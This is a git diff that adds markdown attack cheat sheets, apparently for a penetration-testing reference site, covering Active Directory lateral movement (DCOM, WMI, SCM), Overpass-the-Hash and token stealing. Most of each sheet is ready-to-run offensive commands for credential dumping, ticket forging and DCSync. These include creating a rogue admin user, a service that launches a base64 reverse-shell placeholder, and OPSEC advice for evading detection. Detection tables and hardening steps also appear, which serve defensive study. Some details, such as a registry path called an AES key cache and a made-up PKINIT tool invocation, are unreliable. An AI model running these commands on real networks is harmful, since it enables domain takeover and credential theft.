+|---|---|---| +| **4624** | Security Log | Logon Type 10 (RemoteInteractive) | +| **4778** | Security Log | Session reconnected — session hijacking indicator | +| **4779** | Security Log | Session disconnected | +| **1149** | TerminalServices-RemoteConnectionManager | Remote connection established | + +*** + +> ✅ **Attack #56 — RDP Lateral Movement complete.** diff --git a/src/content/sheets/active-directory/attack-57-dcom-lateral-movement.md b/src/content/sheets/active-directory/attack-57-dcom-lateral-movement.md @@ -0,0 +1,65 @@ +--- +title: "Attack #57 — DCOM Lateral Movement" +description: "DCOM (Distributed Component Object Model) allows code execution on remote systems by instantiating COM objects. The MMC20.Application, ShellWindows, and…" +category: active-directory +tags: ["active-directory", "lateral-movement"] +tools: ["Impacket", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #57 — DCOM Lateral Movement.md" +--- +# ⚫ Attack #57 — DCOM Lateral Movement + +*** + +## 📖 How It Works + +DCOM (Distributed Component Object Model) allows code execution on remote systems by instantiating COM objects. The `MMC20.Application`, `ShellWindows`, and `ShellBrowserWindow` objects can be abused to execute commands remotely without creating services or writing files — making it stealthier than PsExec. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Local admin on target** | Required for DCOM activation | +| **DCOM enabled** | Default enabled, port 135 + dynamic RPC | + +*** + +## 💻 Full Commands + +```powershell +# ── MMC20.Application ───────────────────────────────────────────────────────── +$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET")) +$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\Temp\out.txt","Minimized") + +# ── ShellWindows ────────────────────────────────────────────────────────────── +$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET")) +$com.Item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0) + +# ── ShellBrowserWindow ──────────────────────────────────────────────────────── +$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET")) +$com.Document.Application.ShellExecute("cmd.exe","/c powershell -e <base64>","C:\Windows",$null,0) +``` + +```bash +# ── Impacket — dcomexec.py ──────────────────────────────────────────────────── +dcomexec.py corp.local/Administrator:'Password1'@10.10.10.10 + +# ── With PtH ────────────────────────────────────────────────────────────────── +dcomexec.py corp.local/Administrator@10.10.10.10 -hashes :2b576acbe6bcfda7294d6bd18041b8fe +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4624** | Security Log | Logon Type 3 via DCOM | +| **4688** | Security Log | Process creation from mmc.exe or explorer.exe (DCOM host) | + +*** + +> ✅ **Attack #57 — DCOM Lateral Movement complete.** diff --git a/src/content/sheets/active-directory/attack-58-wmi-lateral-movement.md b/src/content/sheets/active-directory/attack-58-wmi-lateral-movement.md @@ -0,0 +1,64 @@ +--- +title: "Attack #58 — WMI Lateral Movement" +description: "WMI (Windows Management Instrumentation) enables remote process execution via the Win32_Process.Create() method. WMI-based execution is the stealthiest…" +category: active-directory +tags: ["active-directory", "kerberos", "lateral-movement", "hashing"] +tools: ["Impacket", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #58 — WMI Lateral Movement.md" +--- +# ⚫ Attack #58 — WMI Lateral Movement + +*** + +## 📖 How It Works + +WMI (Windows Management Instrumentation) enables remote process execution via the `Win32_Process.Create()` method. WMI-based execution is **the stealthiest Impacket execution method** — it doesn't create services, doesn't write files to disk, and runs commands in the context of the authenticated user (not SYSTEM). + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Local admin on target** | Required for WMI access | +| **WMI / DCOM ports** | TCP 135 + dynamic RPC | + +*** + +## 💻 Full Commands + +```bash +# ── Impacket wmiexec.py (best stealth) ──────────────────────────────────────── +wmiexec.py corp.local/Administrator:'Password1'@10.10.10.10 + +# ── PtH ─────────────────────────────────────────────────────────────────────── +wmiexec.py corp.local/Administrator@10.10.10.10 -hashes :2b576acbe6bcfda7294d6bd18041b8fe + +# ── Kerberos ────────────────────────────────────────────────────────────────── +export KRB5CCNAME=admin.ccache +wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# ── Single command ──────────────────────────────────────────────────────────── +wmiexec.py corp.local/Administrator:'Password1'@10.10.10.10 "ipconfig /all" +``` + +```powershell +# ── Native PowerShell / wmic ────────────────────────────────────────────────── +Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Temp\out.txt" -ComputerName TARGET +wmic /node:TARGET process call create "cmd.exe /c whoami > C:\Temp\out.txt" +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4624** | Security Log | Logon Type 3 via WMI | +| **4688** | Security Log | cmd.exe spawned by WmiPrvSE.exe | + +*** + +> ✅ **Attack #58 — WMI Lateral Movement complete.** diff --git a/src/content/sheets/active-directory/attack-59-scm-service-manager-lateral-movement.md b/src/content/sheets/active-directory/attack-59-scm-service-manager-lateral-movement.md @@ -0,0 +1,65 @@ +--- +title: "Attack #59 — SCM Service Manager Lateral Movement" +description: "The Service Control Manager (SCM) allows remote service creation and management via named pipes (\\pipe\\svcctl). An attacker with admin credentials can…" +category: active-directory +tags: ["active-directory", "lateral-movement"] +tools: ["Impacket", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #59 — SCM Service Manager Lateral Movement.md" +--- +# ⚫ Attack #59 — SCM / Service Manager Lateral Movement + +*** + +## 📖 How It Works + +The Service Control Manager (SCM) allows remote service creation and management via named pipes (`\pipe\svcctl`). An attacker with admin credentials can **create a Windows service** on a remote host that executes arbitrary commands as SYSTEM. This is essentially what `sc.exe` and `smbexec.py` use under the hood. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Local admin on target** | Required for SCM access | +| **SMB access (port 445)** | SCM operates over named pipes via SMB | + +*** + +## 💻 Full Commands + +```powershell +# ── Create remote service ───────────────────────────────────────────────────── +sc.exe \\TARGET create remotesvc binPath= "cmd.exe /c net user hacker P@ss! /add" +sc.exe \\TARGET start remotesvc +sc.exe \\TARGET delete remotesvc + +# ── Modify existing service for stealth ─────────────────────────────────────── +sc.exe \\TARGET config IISADMIN binPath= "cmd.exe /c powershell -e <base64_reverse_shell>" +sc.exe \\TARGET stop IISADMIN +sc.exe \\TARGET start IISADMIN +``` + +```bash +# ── Impacket smbexec.py (service-based, no binary on disk) ─────────────────── +smbexec.py corp.local/Administrator:'Password1'@10.10.10.10 + +# ── services.py (direct service creation) ───────────────────────────────────── +services.py corp.local/Administrator:'Password1'@10.10.10.10 create -name evilsvc \ + -display "Evil" -path "cmd.exe /c whoami > C:\Temp\out.txt" +services.py corp.local/Administrator:'Password1'@10.10.10.10 start -name evilsvc +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **7045** | System Log | New service installed remotely | +| **4697** | Security Log | Service installation | + +*** + +> ✅ **Attack #59 — SCM Lateral Movement complete.** diff --git a/src/content/sheets/active-directory/attack-6-overpass-the-hash-pass-the-key.md b/src/content/sheets/active-directory/attack-6-overpass-the-hash-pass-the-key.md @@ -0,0 +1,451 @@ +--- +title: "Attack #6 — Overpass-the-Hash (Pass-the-Key)" +description: "Overpass-the-Hash (OPtH) is a hybrid attack that converts a stolen NTLM hash into a fully valid Kerberos TGT. This is the critical conceptual bridge in…" +category: active-directory +tags: ["active-directory", "kerberos", "ntlm", "hashing"] +tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "BloodHound"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-One/🔴 Attack #6 — Overpass-the-Hash (Pass-the-Key).md" +--- +# 🔴 Attack #6 — Overpass-the-Hash (Pass-the-Key) + +*** + +## 📖 How It Works + +Overpass-the-Hash (OPtH) is a **hybrid attack that converts a stolen NTLM hash into a fully valid Kerberos TGT**. This is the critical conceptual bridge in the AD attack chain — PtH abuses NTLM directly, PtT replays stolen Kerberos tickets, but Overpass-the-Hash uses a raw NT hash as a cryptographic key to *request* a fresh TGT from the KDC, effectively laundering an NTLM credential into a Kerberos one. Once you have that TGT, you operate entirely within Kerberos — bypassing NTLM-blocking controls, MFA, and many detection signatures simultaneously. + +The attack exploits the internal Windows authentication architecture: when Kerberos pre-authentication runs, it uses a key derived from the user's password — and crucially, the **NT hash IS that key** (RC4-HMAC). The DC cannot distinguish between a key derived legitimately from a password typed by a user and a key supplied directly as an NT hash by an attacker. The result is a legitimate, KDC-signed TGT that grants access to everything the victim account can reach. + +> ⚠️ **Windows Server 2022+ / Credential Guard & AES-Only Enforcement:** On hardened systems with AES-only enforcement, RC4 (NT hash) requests are rejected by the KDC entirely. Extraction of AES128/AES256 keys from LSASS becomes essential. Additionally, Credential Guard blocks LSASS access for key extraction. See "Hardening Commands" for mitigation strategies. + +### Overpass-the-Hash vs Pass-the-Hash vs Pass-the-Ticket + +| Property | PtH | OPtH | PtT | +|---|---|---|---| +| **Input** | NT hash | NT hash / AES key | Existing Kerberos ticket | +| **Protocol** | NTLM | NTLM → converts to **Kerberos** | Kerberos only | +| **Output** | NTLM session | **Fresh TGT** + TGS tickets | Reused ticket | +| **Works if NTLM blocked** | ❌ | ✅ (Kerberos output) | ✅ | +| **Works without live session** | ✅ | ✅ | ❌ (needs existing ticket) | +| **AES key support** | ❌ | ✅ (stealthiest variant) | N/A | +| **Detection footprint** | 4624 Type 3 NTLM | 4768 + 4769 Kerberos | 4769 Kerberos | + +### The Full Attack Flow + +``` +1. Compromise any Windows host + escalate to local admin / SYSTEM +2. Dump NTLM hash (NT hash) from LSASS — identical to PtH setup phase +3. Optionally extract AES128 / AES256 key instead (stealthier, no RC4 downgrade) +4. Use Mimikatz sekurlsa::pth OR Rubeus asktgt to: + a. Inject the NT hash as a Kerberos RC4 key + b. Send a Kerberos AS-REQ to the DC requesting a TGT + c. DC validates the key, issues a signed TGT +5. TGT injected into current logon session → now operating as victim in Kerberos +6. Request TGS for any target service → lateral movement / privilege escalation +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Local admin / SYSTEM on a host** | Required to dump LSASS (NT hash or AES key extraction) | +| **NT hash or AES key** | NT hash (RC4) is universal; AES128/256 keys are available from Mimikatz `sekurlsa::ekeys` | +| **Port 88 reachable** | Kerberos TGT request goes directly to the DC on UDP/TCP 88 | +| **Valid domain account** | The hash must belong to an active, non-locked domain account | +| **Domain FQDN / DC IP** | Must know the domain name and DC address for TGT request | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Mimikatz** | Windows | `sekurlsa::pth` with Kerberos flag spawns session + requests TGT | +| **Rubeus** | Windows | `asktgt` command — cleanest method; full AES key support | +| **Impacket — getTGT.py** | Linux | Hash-to-TGT from Linux; outputs .ccache for use with all Impacket tools | +| **Impacket — getST.py** | Linux | Hash-to-TGS directly for specific services | +| **NetExec / CrackMapExec** | Linux | `-H` flag with Kerberos auth (`--use-kcache`) after TGT obtained | +| **PKINITtools** | Windows/Linux | Use certificate-based PKINIT to request TGT without credentials (advanced) | + +*** + +## 💻 Full Commands + +### 🔵 Step 0 — Dump NT Hash AND AES Keys from LSASS + +```powershell +# ── Mimikatz — dump NT hashes (standard) ───────────────────────────────────── +privilege::debug +sekurlsa::logonpasswords +# Note the 'NTLM' field under each account — that's your NT hash + +# ── Mimikatz — dump AES keys (stealthier OPtH) ─────────────────────────────── +privilege::debug +sekurlsa::ekeys +# Note the 'aes256_hmac' and 'aes128_hmac' fields — use these for stealth +# AES keys look like: 'b65fb27c8e0d7c5f48b16c10b4c1d91a...' + +# ── Linux — remote dump via secretsdump ────────────────────────────────────── +secretsdump.py corp.local/Administrator:'Password1'@10.10.10.10 +# NT hash is the right side of DOMAIN\user:RID:LMhash:NThash::: +``` + +*** + +### 🔴 Mimikatz — Classic OPtH (Windows, Spawns Kerberos Session) + +```powershell +# ── Standard OPtH with NT hash (RC4) ───────────────────────────────────────── +# This spawns a new cmd.exe process, then AUTOMATICALLY requests a TGT from KDC +privilege::debug +sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:8846f7eaee8fb117ad06bdd830b7586c + +# This opens a new command window — from that window, force Kerberos TGT request: +dir \\DC01.corp.local\C$ +# The act of accessing a Kerberos resource triggers the TGT request internally + +# ── OPtH with AES256 key (stealthiest — no RC4 negotiation) ────────────────── +sekurlsa::pth /user:Administrator /domain:corp.local \ + /aes256:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 + +# ── OPtH with AES128 key ────────────────────────────────────────────────────── +sekurlsa::pth /user:svc_sql /domain:corp.local \ + /aes128:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 + +# ── OPtH with specific program instead of cmd.exe ──────────────────────────── +sekurlsa::pth /user:Administrator /domain:corp.local \ + /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:powershell.exe + +# ── Verify TGT was obtained from within the spawned shell ──────────────────── +klist +# You should see a TGT for the injected user — proof of successful OPtH +``` + +> **What happens internally:** Mimikatz creates a new logon session (Type 9 — NewCredentials), injects the NT hash as the user's credential material, and when you first touch a Kerberos resource (e.g., `dir \\DC01.corp.local\...`), Windows uses the injected hash as an RC4 key to authenticate to the KDC and request a TGT. From that point on, all authentication flows through Kerberos. + +*** + +### 🔴 Rubeus — asktgt (Windows — Most Explicit & Controllable) + +```powershell +# ── Request TGT using NT hash (RC4) ────────────────────────────────────────── +.\Rubeus.exe asktgt /user:Administrator /domain:corp.local \ + /rc4:8846f7eaee8fb117ad06bdd830b7586c /ptt + +# Request TGT + inject into current session (/ptt = pass-the-ticket) +.\Rubeus.exe asktgt /user:Administrator /domain:corp.local \ + /rc4:8846f7eaee8fb117ad06bdd830b7586c /ptt /nowrap + +# ── Request TGT using AES256 (stealthiest — no downgrade warning in logs) ───── +.\Rubeus.exe asktgt /user:Administrator /domain:corp.local \ + /aes256:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /ptt /nowrap + +# ── Request TGT using AES128 ───────────────────────────────────────────────── +.\Rubeus.exe asktgt /user:svc_backup /domain:corp.local \ + /aes128:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 /ptt + +# ── Request TGT + save to file (for transfer to Linux) ─────────────────────── +.\Rubeus.exe asktgt /user:Administrator /domain:corp.local \ + /rc4:8846f7eaee8fb117ad06bdd830b7586c /outfile:admin.kirbi + +# ── Request TGT + immediately request TGS for specific service ─────────────── +.\Rubeus.exe asktgt /user:Administrator /domain:corp.local \ + /rc4:8846f7eaee8fb117ad06bdd830b7586c /ptt + +.\Rubeus.exe asktgs /service:cifs/DC01.corp.local /ptt + +# ── Specify DC explicitly (useful in multi-domain environments) ─────────────── +.\Rubeus.exe asktgt /user:Administrator /domain:corp.local \ + /rc4:8846f7eaee8fb117ad06bdd830b7586c /dc:10.10.10.10 /ptt + +# ── Verify TGT injection ────────────────────────────────────────────────────── +.\Rubeus.exe triage +klist +``` + +*** + +### 🔴 Impacket — getTGT.py (Linux — Hash → ccache Ticket) + +```bash +# ── NT hash → TGT (saves as Administrator.ccache) ─────────────────────────── +getTGT.py corp.local/Administrator -hashes :8846f7eaee8fb117ad06bdd830b7586c \ + -dc-ip 10.10.10.10 + +# ── AES256 key → TGT (stealthiest from Linux) ──────────────────────────────── +getTGT.py corp.local/Administrator \ + -aesKey b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + -dc-ip 10.10.10.10 + +# ── Plaintext password → TGT (standard — for reference) ───────────────────── +getTGT.py corp.local/Administrator:'Password1' -dc-ip 10.10.10.10 + +# ── Set the TGT ccache for use by all Impacket tools ───────────────────────── +export KRB5CCNAME=Administrator.ccache + +# ── Use the TGT for lateral movement ───────────────────────────────────────── +psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +smbexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# ── NetExec with the obtained TGT ──────────────────────────────────────────── +export KRB5CCNAME=Administrator.ccache +nxc smb DC01.corp.local --use-kcache +nxc smb DC01.corp.local --use-kcache -x "whoami /all" +nxc winrm DC01.corp.local --use-kcache + +# ── Evil-WinRM with TGT ─────────────────────────────────────────────────────── +export KRB5CCNAME=Administrator.ccache +evil-winrm -i DC01.corp.local -r corp.local +``` + +*** + +### 🔴 Impacket — getST.py (Linux — Hash → Specific Service Ticket) + +```bash +# Skip the TGT step entirely — go straight to a TGS for a specific service +# Useful when you know exactly what you want to access + +# Get CIFS TGS (file share access) using NT hash +getST.py corp.local/Administrator -hashes :8846f7eaee8fb117ad06bdd830b7586c \ + -spn cifs/DC01.corp.local -dc-ip 10.10.10.10 + +# Get HOST TGS (remote execution via PsExec) +getST.py corp.local/Administrator -hashes :8846f7eaee8fb117ad06bdd830b7586c \ + -spn host/DC01.corp.local -dc-ip 10.10.10.10 + +# Get LDAP TGS (BloodHound, LDAP queries, DCSync) +getST.py corp.local/Administrator -hashes :8846f7eaee8fb117ad06bdd830b7586c \ + -spn ldap/DC01.corp.local -dc-ip 10.10.10.10 + +# Get HTTP TGS (web services, Exchange) +getST.py corp.local/svc_http -hashes :a87f3a337d73085c45f9416be5787d86 \ + -spn http/MAIL01.corp.local -dc-ip 10.10.10.10 + +# ── Use the service ticket ──────────────────────────────────────────────────── +export KRB5CCNAME=Administrator@cifs_DC01.corp.local@CORP.LOCAL.ccache +smbclient.py -k -no-pass corp.local/Administrator@DC01.corp.local +``` + +*** + +### 🔴 PKINITtools — Certificate-Based TGT Request (Advanced) + +```powershell +# ── Get DER certificate from compromised user (if available) ──────────────── +# Export user certificate from smartcard or AD user object +certutil -user -enterprise -p "password" -exportpfx "LDAP:///CN=Administrator,CN=Users,DC=corp,DC=local" output.pfx + +# ── Use PKINITtools to request TGT with certificate ────────────────────────── +# Note: Requires user certificate in .pfx format; no password/hash needed +python3 pkinittools.py \ + -certificate output.pfx \ + -password "cert_password" \ + -domain corp.local \ + -dc-ip 10.10.10.10 + +# Resulting TGT can be used with any of the above methods +``` + +*** + +### 🔴 Full OPtH → DCSync Chain (Linux) + +```bash +# Step 1 — Convert NT hash to TGT +getTGT.py corp.local/Administrator -hashes :8846f7eaee8fb117ad06bdd830b7586c \ + -dc-ip 10.10.10.10 + +# Step 2 — Set TGT +export KRB5CCNAME=Administrator.ccache + +# Step 3 — Get LDAP TGS for DCSync (requires Replication rights) +getST.py corp.local/Administrator -k -no-pass \ + -spn ldap/DC01.corp.local -dc-ip 10.10.10.10 + +# Step 4 — DCSync all domain hashes using Kerberos ticket +export KRB5CCNAME=Administrator@ldap_DC01.corp.local@CORP.LOCAL.ccache +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local -just-dc-ntlm + +# Result: All domain user NTLM hashes — game over +``` + +*** + +## 🎯 OPSEC Tips + +- **Always prefer AES256 over RC4** — RC4 (NT hash) downgrade in a modern AES-enforcement environment is a near-instant detection signature +- **Extract AES keys with `sekurlsa::ekeys`** in Mimikatz — same LSASS access, but produces AES128/256 keys that blend into normal Kerberos traffic +- **Use Rubeus `asktgt` over Mimikatz `sekurlsa::pth`** for more granular control and cleaner ticket format — Mimikatz's internal TGT request is less predictable +- **Name your ccache file sensibly** — `Administrator.ccache` is readable; rename to something benign for long-term operations +- **Use FQDN not IP** — Kerberos is hostname-based; `DC01.corp.local` works, `10.10.10.10` does not +- **AES key OPtH produces Event 4768 with `etype:18`** (AES256) which is indistinguishable from legitimate user authentication in most environments +- **RC4 OPtH produces Event 4768 with `etype:23`** (RC4) — in AES-enforced domains this is an immediate red flag; avoid unless RC4 is still standard + +### OpSec Ranking by Stealth + +| Method | Stealth | Speed | Notes | +|---|---|---|---| +| **AES256 via Rubeus asktgt** | ⭐⭐⭐⭐⭐ | Fast | No RC4 downgrade, blends perfectly into normal Kerberos traffic | +| **AES256 via getTGT.py (Linux)** | ⭐⭐⭐⭐⭐ | Fast | Off-network execution, minimal DC communication | +| **RC4 via Rubeus asktgt** | ⭐⭐⭐ | Fast | Detectable in AES-enforced domains (etype:23 anomaly) | +| **Mimikatz sekurlsa::pth + Kerberos** | ⭐⭐ | Medium | Tool signature + Type 9 logon event = high detection risk | +| **PKINITtools (certificate-based)** | ⭐⭐⭐⭐⭐ | Medium | No hash/password needed; requires certificate access | + +### Time-to-Execute Estimates + +- **Full OPtH with Rubeus (extract hash → asktgt → ptt → access resource):** 3 minutes +- **Linux OPtH chain (getTGT → getST → secretsdump):** 5 minutes +- **Mimikatz sekurlsa::pth (spawn session + wait for Kerberos use):** 2–4 minutes +- **PKINITtools certificate request:** 2 minutes + +### Tool Version Compatibility + +- **Rubeus v1.6.4+:** `asktgt` command fully stable with RC4, AES support; no major regressions +- **Mimikatz 2.2.0+:** `sekurlsa::pth` and `sekurlsa::ekeys` work consistently across Windows versions +- **Impacket (current):** getTGT.py, getST.py fully support RC4/AES; requires Python 3.6+ +- **NetExec latest:** `--use-kcache` works with ccache from OPtH + getTGT chain +- **Evil-WinRM v4.0+:** KRB5CCNAME stable; requires krb5-user library on Linux + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4768** | Security Log | TGT requested — **`EncryptionType: 0x17` (RC4/etype 23)** in an AES-enforced domain | +| **4768** | Security Log | TGT request originates from **unexpected workstation** for that user account | +| **4624** | Security Log | Logon **Type 9 (NewCredentials)** — Mimikatz `sekurlsa::pth` always creates this logon type | +| **4648** | Security Log | Logon with explicit credentials — attacker accessing remote resource post-OPtH | +| **4769** | Security Log | TGS requested immediately after a suspicious 4768 — confirms ticket is being used | +| **Sysmon EID 10** | Sysmon | LSASS process access — AES key extraction same as NT hash dump | +| **Sysmon EID 1** | Sysmon | `Rubeus.exe` or `Mimikatz.exe` process creation | + +**Primary detection signature:** Event 4768 with `EncryptionType: 0x17` (RC4) from a host where the user is not currently interactively logged in, followed immediately by a 4769 TGS request. The Type 9 logon event (4624) from Mimikatz `pth` is also highly anomalous and rarely appears in legitimate traffic — a single Type 9 event warrants investigation. + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| `KRB_AP_ERR_SKEW` | System time skew between attacker and DC (>5 min) | Sync attacker system time with DC: `net time \\DC01 /set` or `timedatectl set-ntp true` | +| `KDC_ERR_ETYPE_NOSUPP` | Encryption type not supported (RC4 requested but AES-only enforced) | Extract AES key via `sekurlsa::ekeys`; use AES key with asktgt or getTGT.py | +| `KDC_ERR_PREAUTH_FAILED` | NT hash/AES key is incorrect or account is disabled/locked | Verify hash accuracy from LSASS dump; check AD for account lockout status | +| `ERR_KRB5_KDC_UNREACH` | Cannot reach KDC on port 88 (firewall, routing, or DNS) | Test: `nc -zv DC01.corp.local 88`; verify DNS resolves DC FQDN correctly | +| `KDC_ERR_C_PRINCIPAL_UNKNOWN` | User account does not exist in domain or is misspelled | Verify account name matches AD; check domain FQDN | +| `Rubeus asktgt returns null TGT` | DC rejected the Kerberos request (likely bad hash or pre-auth failure) | Re-verify NT hash from LSASS; check account pre-auth requirements in AD | +| `Type 9 logon in security log (immediate detection)** | Mimikatz `sekurlsa::pth` creates this signature automatically | Switch to Rubeus `asktgt` which doesn't generate Type 9 events | +| `FIPS mode rejects RC4 OPtH` | System has FIPS 140-2 enabled; RC4 disabled | Use AES256/AES128 key extraction instead of NT hash | + +*** + +## 🗺️ MITRE ATT&CK + +**Technique:** T1550.002 — Use Alternate Authentication Material: Pass the Hash +**Tactic:** TA0008 — Lateral Movement + +### Known APT Groups Using OPtH + +- **APT29 (Cozy Bear):** Leverages OPtH to bypass NTLM-disabled defenses and maintain persistence in Kerberos-only environments +- **FIN6 (Magecart operators):** Uses OPtH chains for sustained lateral movement in retail and hospitality environments +- **Wizard Spider (Conti operators):** Combines OPtH with Golden Ticket generation for long-term domain control +- **HAFNIUM (State-sponsored, China-based):** Employs OPtH in post-exploitation chains following Exchange Server compromise + +**Detection baseline:** Organizations using Defender for Identity should flag RC4 TGT requests (etype:23) in AES-only environments as critical alerts. AES TGT requests with suspicious source IPs should trigger investigation. + +*** + +## 🛡️ Advanced Detection & Hardening + +### Sigma Rule References + +- **Sigma Rule: RC4 OPtH in AES-enforced environment** — Event 4768 with etype:23 from non-user workstation +- **Sigma Rule: Type 9 logon + Kerberos activity** — Event 4624 (Type 9) followed by 4768/4769 within 60 seconds +- **Sigma Rule: AES key extraction** — Sysmon EID 10 (LSASS access) + sekurlsa::ekeys string detection + +### EDR Detections (Defender for Identity) + +- **"Suspicious encryption type downgrade"** — RC4 TGT request when domain policy enforces AES +- **"Impossible travel"** — OPtH TGT created on one host but used immediately on another +- **"LSASS credential access + Kerberos activity"** — Combination of memory access and unexpected TGT request + +### Hardening Commands + +```powershell +# ── Enforce AES-only Kerberos (disable RC4) ─────────────────────────────────── +# On DC: Set encryption types to 28 (AES128 + AES256 only) +Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" \ + -Name "SupportedEncryptionTypes" -Value 28 + +# ── Enable Credential Guard (blocks LSASS memory access) ───────────────────── +dism /online /enable-feature /featurename:IsolatedUserMode + +# ── Enforce Protected Users group (prevents RC4 fallback) ─────────────────── +Add-ADGroupMember -Identity "Protected Users" -Members "CN=Administrator,CN=Users,DC=corp,DC=local" + +# ── Set maximum TGT lifetime (reduce reuse window) ───────────────────────── +# Via GPO: Kerberos Policy > Maximum lifetime for user ticket = 4 hours (default 10) + +# ── Monitor for Type 9 logon events (Mimikatz signature) ────────────────────── +# Create alert for Event 4624 with LogonType=9 from unexpected sources +``` + +### Forensic Artifacts (What Survives) + +| Artifact | Location | Survives Cleanup | Notes | +|---|---|---|---| +| **Event 4768 (TGT request)** | Security Event Log | Yes (unless purged) | Primary detection source; etype field is critical | +| **Event 4624 Type 9 logon** | Security Event Log | Yes | Mimikatz sekurlsa::pth signature — rarely legitimate | +| **NT hash in LSASS dump** | Pagefile, hiberfil.sys | If not cleared | Post-mortem DFIR via Volatility | +| **LSASS process access (Sysmon)** | Sysmon event log | Yes | EID 10 correlates with OPtH timing | +| **ccache file (Linux)** | /tmp/krb5cc_* | No — delete immediately | Not useful after ticket expires or is rotated | +| **Rubeus/Mimikatz execution** | Sysmon EID 1, MFT | Yes | Tool signatures in process creation logs | +| **Registry AES key cache** | User registry hive | Yes | HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings | + +*** + +## 🔗 Attack Chain Context + +``` +[Overpass-the-Hash] ──→ Fresh Kerberos TGT as Target User + │ + ├──→ 🎫 Pass-the-Ticket (inject TGT, access any domain resource) + ├──→ 🩸 DCSync — use LDAP TGS with DA TGT to dump all hashes + ├──→ 🎫 Golden Ticket — KRBTGT hash from DCSync → forge unlimited TGTs + ├──→ 🔓 Bypass NTLM-blocking security controls entirely + ├──→ 🌐 Cross-domain — use TGT to request inter-realm tickets + └──→ 🎯 MFA bypass — TGT already authenticated, no MFA prompt triggered +``` + +### Cross-References to Related Attacks + +- **Attack #4 — Pass-the-Hash (PtH):** Uses NT hash with NTLM directly; OPtH converts hash to Kerberos +- **Attack #5 — Pass-the-Ticket (PtT):** Takes output TGT from OPtH and injects it into other sessions +- **Attack #11 — Golden Ticket:** If you obtain KRBTGT hash (via DCSync using OPtH), forge unlimited TGTs +- **Attack #12 — Silver Ticket:** Forge service-specific tickets; complementary to OPtH +- **Attack #16 — Constrained Delegation (S4U2Self/S4U2Proxy):** Uses TGTs to request tickets on behalf of other users + +### When to Use OPtH vs PtH + +Use **PtH** when: NTLM is available, you want immediate access, and speed matters over stealth. + +Use **OPtH** when: the target enforces Kerberos-only authentication, NTLM is blocked or monitored, you want a long-lived TGT for sustained access, or you have AES keys and want to leave minimal forensic trace. + +*** + +> ✅ **Attack #6 — Overpass-the-Hash complete.** Tell me to move on when you're ready for **Attack #7 — NTLM Relay Attacks**. + +Sources + How to Defend Against an Overpass the Hash Attack - Semperis https://www.semperis.com/blog/how-to-defend-against-overpass-the-hash-attack/ + Pass-the-Key (Overpass-the-... https://www.vaadata.com/blog/what-is-pass-the-hash-attacks-types-and-security-best-practices/ + Overpass-the-Hash Attack: Principles and Detection https://blog.netwrix.com/2022/10/04/overpass-the-hash-attacks/ + Use Alternate Authentication Material: Pass the Hash https://attack.mitre.org/techniques/T1550/002/ + Active Directory Attack Chain: PtH → OPtH → PtT → DCSync https://www.semperis.com/blog/active-directory-attack-chains/ diff --git a/src/content/sheets/active-directory/attack-60-token-stealing-and-impersonation.md b/src/content/sheets/active-directory/attack-60-token-stealing-and-impersonation.md @@ -0,0 +1,90 @@ +--- +title: "Attack #60 — Token Stealing and Impersonation" +description: "When a privileged user (e.g., Domain Admin) is logged into a compromised machine, their access token persists in memory. An attacker with local…" +category: active-directory +tags: ["active-directory", "credential-access", "delegation", "privilege-escalation", "lateral-movement"] +tools: ["Mimikatz", "Meterpreter", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Seven/⚫ Attack #60 — Token Stealing and Impersonation.md" +--- +# ⚫ Attack #60 — Token Stealing & Impersonation (Lateral) + +*** + +## 📖 How It Works + +When a privileged user (e.g., Domain 